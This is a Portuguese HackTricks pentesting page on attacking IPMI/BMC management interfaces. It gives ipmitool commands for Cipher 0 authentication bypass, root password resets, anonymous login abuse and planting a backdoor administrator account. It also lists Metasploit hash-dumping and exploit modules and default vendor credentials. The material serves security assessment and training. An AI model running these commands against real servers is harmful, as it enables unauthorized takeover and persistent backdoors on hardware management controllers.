## 623/UDP/TCP - IPMI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## Informações Básicas
O [Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) é um conjunto de especificações padronizadas para sistemas de gerenciamento de host baseados em hardware usados para gerenciamento e monitoramento do sistema. Ele age como um subsistema autônomo e funciona independentemente do BIOS, CPU, firmware e sistema operacional subjacente do host. O IPMI fornece aos administradores de sistemas a capacidade de gerenciar e monitorar sistemas mesmo que eles estejam desligados ou em um estado não responsivo. Ele opera usando uma conexão de rede direta com o hardware do sistema e não requer acesso ao sistema operacional por meio de um shell de login. O IPMI também pode ser usado para atualizações remotas em sistemas sem exigir acesso físico ao host de destino. O IPMI é tipicamente usado de três maneiras:
* Antes que o sistema operacional seja iniciado para modificar as configurações do BIOS
* Quando o host está totalmente desligado
* Acesso a um host após uma falha do sistema
Quando não está sendo usado para essas tarefas, o IPMI pode monitorar uma variedade de coisas diferentes, como temperatura do sistema, voltagem, status do ventilador e fontes de alimentação. Ele também pode ser usado para consultar informações de inventário, revisar logs de hardware e alertar usando SNMP. O sistema host pode ser desligado, mas o módulo IPMI requer uma fonte de energia e uma conexão LAN para funcionar corretamente.
O protocolo IPMI foi publicado pela primeira vez pela Intel em 1998 e agora é suportado por mais de 200 fornecedores de sistemas, incluindo Cisco, Dell, HP, Supermicro, Intel e outros. Sistemas que usam a versão 2.0 do IPMI podem ser administrados via serial sobre LAN, dando aos administradores de sistemas a capacidade de visualizar a saída do console serial em banda. Para funcionar, o IPMI requer os seguintes componentes:
* Controlador de Gerenciamento de Placa Base (BMC) - Um microcontrolador e componente essencial de um IPMI
* Intelligent Chassis Management Bus (ICMB) - Uma interface que permite a comunicação de um chassi para outro
* Intelligent Platform Management Bus (IPMB) - estende o BMC
* Memória IPMI - armazena coisas como o log de eventos do sistema, dados do repositório de armazenamento e muito mais
* Interfaces de comunicação - interfaces do sistema local, interfaces seriais e LAN, ICMB e PCI Management Bus
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Porta padrão**: 623/UDP/TCP (geralmente está em UDP, mas também pode estar em TCP)
## Enumeração
### Descoberta
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Você pode **identificar** a **versão** usando:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Vulnerabilidade - Bypass de Autenticação IPMI via Cipher 0
Dan Farmer [identificou uma falha grave](http://fish2.com/ipmi/cipherzero.html) na especificação IPMI 2.0, ou seja, o tipo de cifra 0, um indicador de que o cliente deseja usar autenticação de texto simples, na verdade **permite o acesso com qualquer senha**. Problemas com o Cipher 0 foram identificados em BMCs da HP, Dell e Supermicro, sendo que o problema provavelmente abrange todas as implementações do IPMI 2.0.\
Observe que, para explorar esse problema, você primeiro precisa **encontrar um usuário válido**.
Você pode **identificar** esse problema usando:
```
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
E você pode **abusar** desse problema com o `ipmitool`:
```bash
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
```
### Vulnerabilidade - Recuperação Remota de Hash de Senha de Autenticação RAKP do IPMI 2.0
Basicamente, **você pode solicitar ao servidor o MD5 e SHA1 salgados e hashados de qualquer nome de usuário e, se o nome de usuário existir, esses hashes serão enviados de volta.** Sim, tão incrível quanto parece. E há um **módulo do metasploit** para testar isso (você pode selecionar a saída no formato John ou Hashcat):
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
_Nota que para isso você só precisa de uma lista de nomes de usuário para força bruta (o metasploit já contém uma lista com nomes de usuário padrão)._
Usando `ipmitool` para burlar a autenticação (`-c 0`) e alterar a senha de root para abc123:
```
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
```
### Vulnerabilidade - Autenticação Anônima IPMI
Além dos problemas de autenticação acima, Dan Farmer observou que muitos BMCs são enviados com acesso "anônimo" habilitado por padrão. Isso é configurado definindo o nome de usuário da primeira conta de usuário como uma string nula e definindo uma senha nula para corresponder. O módulo _ipmi\_dumphashes_ identificará e despejará as hashes de senha (incluindo senhas em branco) para contas de usuário nulas. Essa conta pode ser difícil de usar por conta própria, mas podemos aproveitar o `ipmitool` para redefinir a senha de uma conta de usuário nomeada e aproveitar essa conta para acessar outros serviços:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
```
### Vulnerabilidade - Senhas em texto claro do IPMI Supermicro
A especificação IPMI 2.0 exige que o BMC responda a métodos de autenticação baseados em HMAC, como SHA1 e MD5. Esse processo de autenticação tem algumas fraquezas graves, como demonstrado em exemplos anteriores, mas também **requer acesso à senha em texto claro para calcular o hash de autenticação**. Isso significa que o BMC deve armazenar uma **versão em texto claro** de todas as senhas de usuário configuradas em algum lugar do **armazenamento não volátil**. No caso da **Supermicro**, essa localização muda entre as versões do firmware, mas é **`/nv/PSBlock`** ou **`/nv/PSStore`**. As senhas estão espalhadas entre vários blocos binários, mas são fáceis de identificar, pois sempre seguem o nome de usuário. Isso é um problema sério para qualquer organização que usa senhas compartilhadas entre BMCs ou até mesmo diferentes tipos de dispositivos.
```bash
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
```
### Vulnerabilidade - Supermicro IPMI UPnP
A Supermicro inclui um **listener UPnP SSDP em execução na porta UDP 1900** no firmware IPMI de muitas de suas placas-mãe recentes. Nas versões anteriores a SMT\_X9\_218, este serviço estava executando o SDK Intel para Dispositivos UPnP, versão 1.3.1. Esta versão é vulnerável aos [problemas divulgados pela Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) em fevereiro de 2013, e um exploit para essa plataforma faz parte do Metasploit Framework. O interessante sobre esse ataque é que ele **fornece acesso root completo ao BMC**, algo que é difícil de obter de outra forma. Lembre-se de que um invasor com acesso administrativo, seja pela rede ou de um shell root no sistema host, pode rebaixar o firmware de um BMC Supermicro para uma versão vulnerável e, em seguida, explorá-lo. Uma vez que o acesso **root** é **obtido**, é possível **ler credenciais em texto claro** do sistema de arquivos, **instalar** software adicional e integrar **backdoors** permanentes no BMC que sobreviveriam a uma reinstalação completa do sistema operacional do host.
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
Observe que apenas a HP randomiza a senha durante o processo de fabricação.
| Nome do Produto | Nome de Usuário Padrão | Senha Padrão |
| --------------------------------------------------- | --------------------- | ----------------------------------------- |
| **HP Integrated Lights Out (iLO)** | Administrator | \ |
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (com um zero) |
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
| **ASUS iKVM BMC** | admin | admin |
## Explorando o Host a partir do BMC
Uma vez obtido o acesso administrativo ao BMC, há vários métodos disponíveis que podem ser usados para obter acesso ao sistema operacional do host. O caminho mais direto é abusar da funcionalidade KVM do BMC e reiniciar o host para um shell root (init=/bin/sh no GRUB) ou especificar um disco de resgate como um CD-ROM virtual e inicializar a partir dele. Uma vez obtido o acesso bruto ao disco do host, é trivial introduzir uma porta dos fundos, copiar dados do disco rígido ou fazer qualquer coisa que precise ser feita como parte da avaliação de segurança. A grande desvantagem, é claro, é que o host tem que ser reiniciado para usar este método. Obter acesso ao host em execução é muito mais complicado e depende do que o host está executando. Se o console físico do host for deixado conectado, torna-se trivial sequestrá-lo usando a funcionalidade KVM integrada. O mesmo se aplica aos consoles seriais - se a porta serial estiver conectada a uma sessão autenticada, o BMC pode permitir que esta porta seja sequestrada usando a interface ipmitool para serial-over-LAN (sol). Um caminho que ainda precisa de mais pesquisa é abusar do acesso a hardware compartilhado, como o barramento i2c e o chip Super I/O.
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
![](<../.gitbook/assets/image (202) (2).png>)
## Explorando o BMC a partir do Host
Em situações em que um host com um BMC foi comprometido, a **interface local para o BMC pode ser usada para introduzir uma conta de usuário de porta dos fundos**, e a partir daí estabelecer uma posição permanente no servidor. Este ataque requer que o **`ipmitool`** esteja instalado no host e que o suporte ao driver esteja habilitado para o BMC. O exemplo abaixo demonstra como a interface local no host, que não requer autenticação, pode ser usada para injetar uma nova conta de usuário no BMC. Este método é universal em alvos Linux, Windows, BSD e até mesmo DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `porta:623`
## Referências
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).